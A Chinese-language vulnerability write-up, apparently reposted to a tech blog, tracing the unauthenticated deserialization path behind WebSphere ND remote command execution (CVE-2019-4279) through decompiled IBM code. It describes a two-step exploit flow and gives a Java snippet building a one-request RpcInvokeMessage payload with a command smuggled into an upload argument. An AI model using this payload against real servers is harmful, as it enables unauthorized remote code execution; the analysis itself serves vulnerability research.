Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279)

2019-09-24 约 2438 字 预计阅读 12 分钟

声明:本文 【Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279)】 由作者 带头老哥 于 2019-09-24 09:10:52 首发 先知社区 曾经 浏览数 157 次

感谢 带头老哥 的辛苦付出!

漏洞起因、简介

Websphere ND的集群管理节点预留端口 "管理覆盖层 TCP 端口" 11006端口接收不可信数据反序列化可造成命令执行
Websphere Application Server ND 在创建管理节点概要文件,
起管理端口为
11005(UDP)
11006(TCP)


数据传输的方式采用序列化传输,而且不需要验证身份。端口默认对外

漏洞分析

步骤概要:
1.序列化TcpNodeMessage消息对象发送到服务器进行处理
2.序列化BcastMsgRunTask消息对象发送到服务器造成RCE

数据解析:

类:com.ibm.son.mesh.CfwTCPImpl
核心方法"completedRead(VirtualConnection var1, TCPReadRequestContext var2)"

private void completedRead(VirtualConnection var1, TCPReadRequestContext var2) {
        boolean var3 = this.peer.isStateStopped();
        if (this.ls.isDebugEnabled()) {
            this.ls.debug("CfwTCPImpl#completedRead() " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet);
        }

        this.readPending = false;
        if (!var3 && !this.quiet) {
            while(true) {
                boolean var4 = this.isClosed();
        //读入数据流
                WsByteBuffer var5 = var2.getBuffer();
                int var6 = var5.position();
                int var7 = var6 - this.inputStartPos;
                int var8 = var5.limit();
                int var9 = var8 - var6;
                if (this.ls.isDebugEnabled()) {
                    this.ls.debug("CfwTCPImpl#completedRead() loop " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet + ", openPending=" + this.openPending + ", closePending=" + this.closePending + ", isClosed=" + var4 + ", readingHeader=" + this.readingHeader + ", inputStartPos=" + this.inputStartPos + ", pos=" + var6 + ", sofar=" + var7 + ", inputMsgLen=" + this.inputMsgLen + ", rembuf=" + var9 + ", inBuffer=" + fi(var5) + ", headerBuffer=" + fi(this.headerBuffer));
                }

                if (this.closePending) {
                    if (!this.writeInProgress && !this.openPending) {
                        this.closeLinks();
                    }

                    return;
                }

                if (var4) {
                    return;
                }

                if (this.closeLinksInvoked) {
                    String var17 = "closeLinksInvoked inside completedRead(" + this + ")";
                    this.ls.severe("SON_EThrow", new Exception(var17));
                    return;
                }

        //头解析
                int var12;
                if (var7 >= this.inputMsgLen) {
                    if (this.readingHeader) {
                        var5.position(this.inputStartPos);
                        var5.get(this.headerArray, 0, 8);
                        var5.position(var6);
                        this.inputStartPos += 8;
                        this.readingHeader = false;
                        this.inputMsgLen = 0;
                        int var15 = Util.bytesToInt(this.headerArray);
            //头4个字节检验:这里读出数据包前4个字节转为int判断是否等于"963622730",不等于最后会return
                        if (var15 != 963622730) {
                            StringBuffer var20 = new StringBuffer();
                            var20.append("CfwTCPImpl#completeRead() " + this + " bad magic number. Full header contents: \n");

                            for(var12 = 0; var12 < 8; ++var12) {
                                var20.append(this.headerArray[var12]);
                                var20.append(" ");
                            }

                            this.ls.debug(var20.toString());
                            IOException var21 = new IOException("Bad magic number (" + var15 + ", expected " + 963622730 + ") received over " + this);
                            FFDCFilter.processException(var21, this.getClass().getName() + ".complete", "325");
                            if (shouldComplainMagic(this.remoteAddress)) {
                                this.ls.warning("SON_WThrow", var21);
                            }

                            this.handleIOExceptionWithoutNodeFailureAnnouncement(var21);
                            return;
                        }

            //读出头部后4位字节, 确定消息长度
                        this.inputMsgLen = Util.bytesToInt(this.headerArray, 4);
                        if (this.inputMsgLen <= 0) {
                            if (this.ls.isDebugEnabled()) {
                                this.ls.debug("CfwTCPImpl#completeRead() bad length: " + this.inputMsgLen + " " + this);
                            }

                            IOException var19 = new IOException("Bad Message Length " + this.inputMsgLen + " received over " + this);
                            this.handleIOExceptionWithoutNodeFailureAnnouncement(var19);
                            return;
                        }
                    } else {
                        //消息长度来自于头部后4个字节
                        var12 = this.inputMsgLen;
                        byte[] var16;
                        int var22;
                        if (var5.hasArray()) {
                            var16 = var5.array();
                            var22 = var5.arrayOffset() + this.inputStartPos;
                        } else {
                            var16 = new byte[this.inputMsgLen];
                            var5.position(this.inputStartPos);
                            var22 = 0;
                            var5.get(var16, 0, this.inputMsgLen);
                            var5.position(var6);
                        }

                        this.inputStartPos += this.inputMsgLen;
                        this.readingHeader = true;
                        this.inputMsgLen = 8;

                        try {
                            //进一步接收消息并解析(反序列化)
                            this.procReceivedMessage(var16, var22, var12);
                        } catch (IOException var14) {
                            this.handleIOException(var14);
                            return;
                        }
                    }
                } else {
                    boolean var10 = var7 != 0 || !this.readingHeader || var5 == this.headerBuffer;
                    if (var8 - this.inputStartPos >= this.inputMsgLen && var10) {
                        if (this.ls.isDebugEnabled()) {
                            this.ls.debug("enough room in remaining buffer");
                        }
                    } else if (var7 == 0 && var8 >= this.inputMsgLen && var10) {
                        if (this.ls.isDebugEnabled()) {
                            this.ls.debug("enough room in whole buffer");
                        }

                        var5.position(this.inputStartPos = 0);
                    } else if (this.readingHeader && var5 == this.headerBuffer) {
                        if (this.ls.isDebugEnabled()) {
                            this.ls.debug("enough room in header buffer");
                        }

                        var5.position(this.inputStartPos);
                        var5.get(this.headerArray, 0, var7);
                        var5.clear();
                        var5.put(this.headerArray, this.inputStartPos = 0, var7);
                    } else {
                        WsByteBuffer var11;
                        if (this.readingHeader) {
                            var11 = this.headerBuffer;
                            var11.clear();
                        } else {
                            var11 = this.allocReadBuffer(this.inputMsgLen, false);
                        }

                        if (var7 > 0) {
                            var5.flip();
                            var5.position(this.inputStartPos);
                            var11.put(var5);
                        }

                        var2.setBuffer(var11);
                        this.releaseReadBuffer(var5, this.headerBuffer);
                        if (this.ls.isDebugEnabled()) {
                            this.ls.debug("Switching from buffer " + fi(var5) + " to " + fi(var11));
                        }

                        this.inputStartPos = 0;
                        var6 = var11.position();
                    }

                    this.readPending = true;
                    int var13;
                    VirtualConnection var18;
                    if (this.readingHeader && var7 == 0) {
                        var12 = 1;
                        long var10001 = (long)1;
                        int var10004 = this.msgArrivalTimeout > 0 ? this.msgArrivalTimeout : -1;
                        var13 = var10004;
                        var18 = this.rrc.read(var10001, this, false, var10004);
                    } else {
                        var18 = this.rrc.read((long)(var12 = this.inputMsgLen - var7), this, false, var13 = this.tcpReadTimeout);
                    }

                    if (var18 == null) {
                        if (this.ls.isDebugEnabled()) {
                            this.ls.debug("CfwTCPImpl#completedRead() blocked; header incomplete; readLen=" + var12 + " timeout=" + var13 + "; The callback will be invoked later. " + this);
                        }

                        return;
                    }

                    this.readPending = false;
                }
            }
        } else {
            if (this.ls.isDebugEnabled()) {
                this.ls.debug("Quiet or peer already closed. Ignore the completed read.");
            }

        }
    }

可以看到上面注释的几个关键点:

  1. 解析头部
  2. 解析消息长度(根据头部的后4个字节确认消息长度)
  3. 处理消息

大概流程:

  1. 读出头部(前8个字节 注:实际POC有9个字节前4字节为头检验,后4字节为消息长度,最后一个字节为\x00)
  2. 验证前4个字节的值(头校验)
  3. 读出后4个字节,确认消息长度
  4. 处理完头数据,继续while循环根据消息长度取出消息并进行进一步解析

消息解析:

继续跟进"procReceivedMessage(byte[] var1, int var2, int var3)"方法:
这个方法在父类"com.ibm.son.mesh.AbstractTCPImpl"中:

protected void procReceivedMessage(byte[] var1, int var2, int var3) throws IOException {
        Neighbor var4 = this.getNeighbor();
        if (var4 != null) {
            var4.setLastMsgTime();
        }

        Message var5;
        try {
            long var6 = System.nanoTime();
           //对消息反序列化
            var5 = (Message)Util.deserialize(var1, var2, var3);
            long var8 = System.nanoTime();
            this.peer.netStats.finishReadTcp(var5, var1, var2, var3, true, var8 - var6);
        } catch (IOException var15) {
            this.peer.warning(var15);
            return;
        }

        var5.setLength(var3);
        if (WASConfig.useTcpChannelFramework && this.peer.isStateStopped()) {
            if (var5.type == 57) {
                this.hardClose();
            }

        } else {
        //继续处理消息
            Message var16 = this.procMessage(var5);

        //如果返回的结果不为Null, 这里会广播到各个节点
            if (var16 != null) {
                boolean var7 = Thread.holdsLock(this.peer);

                long var9;
                long var11;
                byte[] var17;
                try {
                    var9 = System.nanoTime();
                    var17 = Util.serializeWithHeader(var16, this.peer);
                    var11 = System.nanoTime();
                } catch (IOException var14) {
                    this.peer.panic(var14);
                    return;
                }

                if (var7) {
                    this.peer.netStats.finishWriteTcp(var16, var17, false, var11 - var9, var17.length);
                }
        //广播
                this.sendData(var17, var16.ID, (AfterMsgSentCallback)null);
            }
        }
    }

我们的发送的序列化Payload1(TcpNodeMessage)被反序列化之后并进行处理

消息处理:

继续跟进"procMessage(Message var1)"方法:

public Message procMessage(Message var1) {
        if (this.ls.isDebugEnabled()) {
            this.ls.fine("Received TCP message " + var1 + " from " + this);
        }


        if (this.nextMsgProcessor != null) {
            Message var2 = this.nextMsgProcessor.procMessage(this, var1);
            if (this.ls.isDebugEnabled() && var2 != null) {
                this.ls.fine("Reply to " + this + " message: " + var2);
            }

            if (var1.isProcessed()) {
                return var2;
            }
        }

    //取出消息处理器Iterator 
        Iterator var5 = this.peer.tcp.protocolStackIterator();

        Message var4;
    //循环处理
        do {
            if (!var5.hasNext()) {
                if ((var1.type & 268435456) != 0) {
                    if (Config.DEBUG) {
                        this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName() + ". The TCP connection is closed as this is an auto-close message.");
                    }

                    this.hardClose();
                } else if (Config.DEBUG) {
                    this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName());
                }

                return null;
            }

            ProtocolTCP var3 = (ProtocolTCP)var5.next();
        //处理
            var4 = var3.procMessage(this, var1);
            if (this.ls.isDebugEnabled() && var4 != null) {
                this.ls.fine("Reply to " + this + " message: " + var4);
            }
        } while(!var1.isProcessed());

        return var4;
    }

这里是取出了消息处理器(List)对消息循环处理

TcpMsgTypeBasedDispatcher 处理器:

在处理器中有一个类"com.ibm.son.mesh.TcpMsgTypeBasedDispatcher",需要重点关注

来看TcpMsgTypeBasedDispatcher.procMessage(TCP var1, Message var2):

public Message procMessage(TCP var1, Message var2) {
        this.tmpType.type = var2.type;
    //根据消息Type拿出处理器进行处理
        ProtocolTCP var3 = (ProtocolTCP)this.protocols.get(this.tmpType);
        return var3 == null ? null : var3.procMessage(var1, var2);
    }

这里想要什么处理器来处理是可以自定义的
因为Message对象就是我们序列化的TcpNodeMessage对象,这里的Type自定为12,可以看到拿到的是一个"com.ibm.son.mesh.MemberMgr"

MemberMgr 处理器:

跟进"procMessage(TCP var1, Message var2)"方法:

public Message procMessage(TCP var1, Message var2) {
        if (this.peer.isDebugEnabled() && var2.type != 12 && var2.type != 22 && var2.type != 23) {
            this.peer.panic("Wrong message type: " + var2);
        }

        TcpNodeMessage var4 = (TcpNodeMessage)var2;
        if (this.peer.isDebugEnabled()) {
            this.peer.fine("Received NEW_NBR_REQ from " + var4);
        }

        int var5 = var2.type;

    //至Type为-1
        var2.markProcessed();

    //查找是否存在对应节点
        Node var6 = this.members.find(var4.ip, var4.udpPort);
        Node var7;

    //不存在对应节点则生成一个新节点赋值给Var7,之后会注册这个节点
        if (var6 == null) {
            var7 = new Node(var4.ip, var4.udpPort, var4.tcpPort, var4.bootTime, var4.nodeProperty, this.peer.bigKey);
        } else {
            var7 = var6;
        }

        boolean var3;
        Neighbor var8;
        if (this.neighbors.find(var7) != null) {
            var3 = false;
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("Reject the new neighbor request: already a neighbor. Neighbors: " + this.neighbors.toString());
            }
        } else if (var5 != 22 && var5 != 23 && !Config.alwaysAcceptNewNeighbor && this.neighbors.size() >= Config.numNbrsHigh) {
            var3 = false;
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("Reject: Not NEW_NBR_REQ_PREDECESSOR/SUCCESSOR message and too many neighbors (" + this.neighbors.size() + ")");
            }
        } else {
            var8 = this.pendingNeighbors.find(var7);
            if (var8 == null) {
                if (Config.structuredGateways && !isCellIdentical(this.peer.thisNode, var7)) {
                    if (this.peer.thisNode.getNodeProperty().isStructuredGateway()) {
                        var3 = true;
                        if (this.peer.isDebugEnabled()) {
                            this.peer.fine("we are a structured gateway");
                            if (var7.getNodeProperty().isStructuredGateway()) {
                                this.peer.fine("Accept: the neighbor request is from a remote structured gateway: neighbors (" + this.neighbors.size() + ")");
                            } else {
                                this.peer.fine("WARN: Accept: the neighbor request is from a remote cell but is NOT a strucutred gateway: neighbors (" + this.neighbors.size() + ")");
                            }
                        }
                    } else {
                        var3 = false;
                        if (this.peer.isDebugEnabled()) {
                            this.peer.fine("Reject: we are NOT a structured gateway and the neighbor request is from a remote cell: neighbors (" + this.neighbors.size() + ")");
                        }
                    }
                } else {
                    var3 = true;
                    if (this.peer.isDebugEnabled()) {
                        this.peer.fine("Accept: no excessive neighbors (" + this.neighbors.size() + ")");
                    }
                }
            } else {
                int var9 = SonInetAddress.compareIP(this.peer.thisNode.ip, var4.ip);
                if (var9 < 0 || var9 == 0 && this.peer.thisNode.udpPort < var4.udpPort) {
                    if (this.peer.isDebugEnabled()) {
                        this.peer.fine("Accept: the new neighbor request is from a pending neighbor and this node is the loser with smaller IP/UDP.");
                    }

                    var3 = true;
                    this.pendingNeighbors.remove(var8);
                    var8.setFailureHandlingCode(0);
                    var8.softClose();
                } else {
                    var3 = false;
                    if (this.peer.isDebugEnabled()) {
                        this.peer.fine("Reject: the new neighbor request is from a pending neighbor and this node is the winner with bigger IP/UDP.");
                    }
                }
            }
        }

        if (!var3) {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("Send NEW_NBR_ANS_NO to " + var1);
            }

            return new Message(14);
    //走的这个if
        } else if (var6 == null) {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("This new neighbor is a new node: " + var7 + ". Confirm it through TCP.");
            }
        /**
         * 初始化节点,并为当前TCP连接设置处理器属性"nextMsgProcessor" 
         * 然后获取当前TCP连接发起请求,消息为Message对象(Type 66)    */
            new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node");
            return null;
        } else if (var7.bootTime < var4.bootTime) {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("This new neighbor is a known node: " + var7 + ", but the neighbor's bootTime is newer. Confirm it through TCP.");
            }

            this.updateExistingNodeBootTime(var7, var4.bootTime, var4.tcpPort, var4.nodeProperty);
            new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is a known node but with a newer bootTime");
            return null;
        } else {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("Send NEW_NBR_ANS_YES to " + var1);
            }

            var8 = new Neighbor(this.peer, var7, var1);
            Message var11 = new Message(13);
            Message var10 = this.addNeighbor(var8, var11);
            return var10;
        }
    }

最重要的就是这两行

new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node");
return null;

这里初始化了一个节点,然后返回了Null

初始化节点:

跟进"com.ibm.son.mesh.ConfirmNewNbrThroughTcp"的构造器,涉及重要代码如下:

ConfirmNewNbrThroughTcp(Peer var1, Node var2, TCP var3, String var4) {
        this.nbrTcp = var3;
        this.init(var1, var2, var4);
    }

   //父类ConfirmNewNodeThroughTcp.class的init()
    void init(Peer var1, Node var2, String var3) {
        this.peer = var1;
        this.newNodeToConfirm = var2;
        this.newNodeAnnounceMsg = var3;
        TCP var4 = null;

        try {
        //初始化一个节点,并且连接至TCP端口发送Message对象(Type为66), 传入的peer即当前线程
            var4 = TCPFactory.getTCP(this.newNodeToConfirm.ip, this.newNodeToConfirm.tcpPort, this, this.peer);

        //设置nextMsgProcessor为自身
            var4.setNextMsgProcessor(this);
            var4.addTcpCloseMonitor(this);
        } catch (IOException var6) {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine(var6);
            }

            if (var4 != null) {
                var4.hardClose();
            }

            this.confirmFailed();
        }

    }

Message(Type 66)消息处理:

在发送第一个消息TcpNodeMessage对象之后短时间内会接收到一个消息为Message对象(Type值为66)

如下图所示,接收到Message对象

如何处理Message (Type 66):
这里可以看到Type66取出的处理器是"com.ibm.son.mesh.ProcTestTcpPing"

跟进:

这里直接是返回一个Message对象Type为67

那么返回的值不为Null, 则会广播这个消息出去:

Message (Type 67)消息处理:

当Message(Type 66)处理完之后马上会收到Message(Type 67)的消息,如下图所示:

跟进如下:
这里是之前TcpNodeMessage调用MemberMgr处理器设定的nextMsgProcessor属性:

继续跟进:

public Message procMessage(TCP var1, Message var2) {
    //限定类型,只允许Type为67的Message进入
        if (var2.type != 67) {
            return null;
        } else {
            if (this.peer.isDebugEnabled()) {
                this.peer.fine("Received TEST_TCP_PONG from " + var1);
            }

            var2.markProcessed();
            Node var3 = this.peer.memberMgr.members.find(this.newNodeToConfirm);
            Message var4 = null;

        //如果Tcp处于连接状态
            if (this.nbrTcp.isConnected()) {
                if (this.peer.isDebugEnabled()) {
                    this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and still exists. Accept it as new neighbor.");
                }

        //设置Neighbor
                Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp);
                Message var6 = new Message(13);
                var4 = this.peer.memberMgr.addNeighbor(var5, var6);
            }

            if (var3 == null) {
                if (this.peer.isDebugEnabled()) {
                    this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and is not a member. Add it locally and globaly.");
                }

                this.peer.memberMgr.addNode(this.newNodeToConfirm);
                this.peer.memberMgr.sendToAllNeighbors(new NodeBroadcastMessage(80001, this.newNodeToConfirm, this.peer, this.newNodeAnnounceMsg), this.newNodeToConfirm);
            } else if (this.peer.isDebugEnabled()) {
                this.peer.fine("ConfirmNewNbr: the confirmed new neighbor " + this.newNodeToConfirm + " is already a member. Ignore.");
            }

            if (var4 != null) {
                try {
                    this.nbrTcp.send(var4);
                } catch (IOException var7) {
                    this.nbrTcp.handleIOException(var7);
                }
            }

            if (this.peer.isDebugEnabled()) {
                this.peer.fine("ConfirmNewNbr: Close test tcp " + var1);
            }

            var1.removeTcpCloseMonitor(this);
            var1.hardClose();
            return null;
        }

上面的代码只需要关注两个地方:
1.判断Tcp是否处于连接状态

if (this.nbrTcp.isConnected())

2.设置Neighbor

Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp);

Neighbor的构造器如下:

BcastMsgRunTask.class Payload构造:

上面第一个TcpNodeMessage的Payload已经分析的差不多了
至于为什么需要第1个Payload,是为了第2个Payload做的铺垫
因为第2个Payload要想实现RCE必须让Neighbor属性不为Null

溯源BcastMsgRunTask的父类可以发现也是Message类

Payload生成对象如下:

这里的Message Type为41

BcastMsgRunTask Payload解析过程:

这里省略数据解析的过程,只看Process如何处理

迭代出来的第1个处理器"com.ibm.son.mesh.TCPBroadcastFilter"
可以看到首先判断了对象类型,这里BcastMsgRunTask的父类就是"BcastFloodMsg",所以可以跟进:

public Message procMessage(TCP var1, Message var2) {
    //判断消息类型是否是“BcastFloodMsg”
        if (!(var2 instanceof BcastFloodMsg)) {
            return null;
        } else {
            BcastFloodMsg var3 = (BcastFloodMsg)var2;
            this.tmpMsgRecved.setMsg(var3.sourceIP, var3.sourceUdpPort, var3.sourceMsgID);
            TCPBroadcastFilter.MsgRecved var4;
        //判断接收的消息是否已经存在了一个临时的Key,这里进入了if
            if (!this.recvedMsgs.containsKey(this.tmpMsgRecved) && !this.recvedMsgs2.containsKey(this.tmpMsgRecved)) {
                if (SonInetAddress.equalIP(var3.sourceIP, this.peer.thisNode.ip) && var3.sourceUdpPort == this.peer.thisNode.udpPort) {
                    this.peer.warning("A broadcast message is back to the sender: " + var2 + "   received from " + var1);
                    var2.markProcessed();
                    return null;
        //如果当前线程不是受管节点
                } else if (!MemberMgr.isNodeInterestedInMsg(this.peer.thisNode, var2.getOriginatingCell())) {
                    this.peer.severe("starTop: Recieved boadcast message " + var2 + " however it originated in a cell we are not interested in: " + var2.getOriginatingCell());
                    var2.markProcessed();
                    return null;
        //进入到了这个else
                } else {
                    var4 = new TCPBroadcastFilter.MsgRecved(this.tmpMsgRecved);
                    if (this.peer.isDebugEnabled()) {
                        this.peer.fine("Received new broadcast message " + var3 + " originated at: " + var4.toString());
                    }

                    this.recvedMsgs.put(var4, var4);
                    return null;
                }
            } else {
                if (this.peer.isDebugEnabled()) {
                    var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs.get(this.tmpMsgRecved);
                    if (var4 == null) {
                        var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs2.get(this.tmpMsgRecved);
                        if (var4 == null) {
                            this.peer.panic("Shouldn't be null");
                        }
                    }

                    if (this.peer.isDebugEnabled()) {
                        this.peer.fine("Duplicate broadcast message (type=" + var2.type + ") " + var4.toString() + " has been receive before.");
                    }
                }

                var2.markProcessed();
                return null;
            }
        }
    }

这个处理器返回的是一个Null值,但是很重要,因为如果条件不符合会调用var2.markProcessed();,至Type为-1.

继续跟进下一个处理器"TcpMsgTypeBasedDispatcher"

得到一个"RpcServerDispatcher.ProcRunTaskOnAllNodes"处理器:

RpcServerDispatcher.ProcRunTaskOnAllNodes 消息处理器:

public Message procMessage(TCP var1, Message var2) {
            if (RpcServerDispatcher.DEBUG && var2.type != 41) {
                RpcServerDispatcher.this.peer.panic("Wrong message type: " + var2);
            }

            return RpcServerDispatcher.this.procRunTaskOnAllNodesTcp(var1, var2);
        }

继续跟进"RpcServerDispatcher.this.procRunTaskOnAllNodesTcp(var1, var2)":

protected Message procRunTaskOnAllNodesTcp(TCP var1, Message var2) {
        if (DEBUG) {
            this.peer.fine("Received RUN_TASK_ON_ALL_NODES from " + var1);
        }

    //将此消息转发给Neighbors,这里会调用Neighbors的方法,所以这也是为什么上面要通过Payload1让Neighbors不为Null的原因,如果是Null这里就会抛空指针异常
        this.peer.forwardTcpBcast(var2, var1);

    //置消息Type为-1
        var2.markProcessed();
        BcastMsgRunTask var3 = (BcastMsgRunTask)var2;

        byte var4;
        Object var5;
        try {
        //调用Task.run()
            var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null);
            var4 = 2;
        } catch (Exception var7) {
            var5 = Util.getTraceString(var7);
            var4 = 1;
        }

        new RunTaskOnAllNodesTcpOutputCollector(this.peer, var1, var3, (Serializable)var5, var4);
        return null;
    }

代码有几处重要的地方:
1.转发消息(通过第1步发送的Payload(TcpNodeMessage))作用就是让这个不为Null

this.peer.forwardTcpBcast(var2, var1);

2.执行任务(可控对象,可控参数)

var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null);

执行任务:

继续跟进RpcServerDispatcher的invoke方法

public Serializable invoke(String var1, Serializable var2, TaskOutputConsumer var3) throws Exception {
    //相当于一个Cache,加载过了就直接从容器里面拿
        Task var4 = (Task)this.rpcFuncInst.get(var1);
        if (var4 == null) {
            if (DEBUG) {
                this.peer.fine("Create one instance for task " + var1 + " for the first time.");
            }
        //容器中找不到就Class.forName去加载。并且添加到容器内
            Class var5 = Class.forName(var1);
            var4 = (Task)var5.newInstance();
            this.rpcFuncInst.put(var1, var4);
            var4.init(this.peer);
        } else if (DEBUG) {
            this.peer.fine("An instance for task " + var1 + " already exists.");
        }
    //执行Task.run
        return var4.run(var2, var3);
    }

这里就触发了com.ibm.son.plugin.UploadFileToAllNodes的run方法:

POC

java版poc, 计算器坏了弹个Mstsc.exe

流程:

  1. 与服务器建立TCP连接,端口号11006
  2. 把序列化的TcpNodeMessage消息对象发送到服务器反序列化,消息处理后会注册ip为0.0.0.0的节点,并把当前TCP连接一起传入广播消息(Message Type 66, Message Type 67)。最后使当前TCP连接注册neighbor
  3. 把序列化的BcastMsgRunTask消息对象发送到服务器反序列化,执行任务,类:"com.ibm.son.plugin.UploadFileToAllNodes",参数可控造成远程RCE

基于此漏洞衍生出的另一种Payload

在前面已经说了利用此漏洞需要分两步
1.发送TcpNodeMessage
2.发送BcastMsgRunTask

由于实际中可能碰到的复杂情况非常之多,且在第一步发送TcpNodeMessage之后需要sleep几秒钟,也就是说还和网络状况挂钩,所以不确定因素很大。在实战中肯定是需求的步骤越少越好,一次性利用。所以根据深入研究发现存在另一种与此相似的Payload只需请求一次即可触发RCE

RpcServerDispatcher消息处理器

RpcServerDispatcher消息处理器相比RpcServerDispatcher.ProcRunTaskOnAllNodes消息处理器不需要neighbor不为Null, 只需要发送一个Payload即可完成利用:
相关处理代码如下:

public Message procMessage(final TCP var1, Message var2) {
        if (DEBUG && var2.type != 38) {
            this.peer.panic("Wrong message type: " + var2);
        }

        var2.markProcessed();

        try {
            RpcInvokeMessage var3 = (RpcInvokeMessage)var2;

            class RpcTaskOutputConsumer implements TaskOutputConsumer {
                RpcTaskOutputConsumer() {
                }

                public void consumeTaskOutput(Serializable var1x) {
                    try {
                        var1.send(new RpcResponseMessage(39, new RpcResponse("OK", var1x)));
                    } catch (IOException var3) {
                        var1.handleIOException(var3);
                    }

                }
            }

            RpcTaskOutputConsumer var4 = new RpcTaskOutputConsumer();
            Serializable var5 = this.invoke(var3.func, var3.argument, var4);
            return var5 == var4.getClass() ? null : new RpcResponseMessage(39, new RpcResponse("OK", var5));
        } catch (Exception var6) {
            this.peer.warning(Util.getTraceString(var6));
            return new RpcResponseMessage(39, new RpcResponse(Util.getTraceString(var6), (Serializable)null));
        }
    }

可以看上述代码,传入的Message对象是一个"RpcInvokeMessage", 然后直接拿出里面的属性传入invoke方法。
和之前分析文章的触发点一样,但这个没有neighbor的限制

构建RpcInvokeMessage对象:

public byte[] getRpcInvokeMessageObj(String op, String command) throws Exception {
        UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, String.format("%s %s && ",op ,command));
        Object obj =  new RpcInvokeMessage(38, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
        return Serializer.serialize(obj);
    }

和原先的差不多,只是把BcastMsgRunTask换成了RpcInvokeMessage,且消息类型为38
在建立TCP连接之后直接发送这个Payload即可完成利用

影响版本:

WebSphere Application Server ND 9.0
WebSphere Application Server ND 8.5
WebSphere Virtual Enterprise V7.0

参考

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now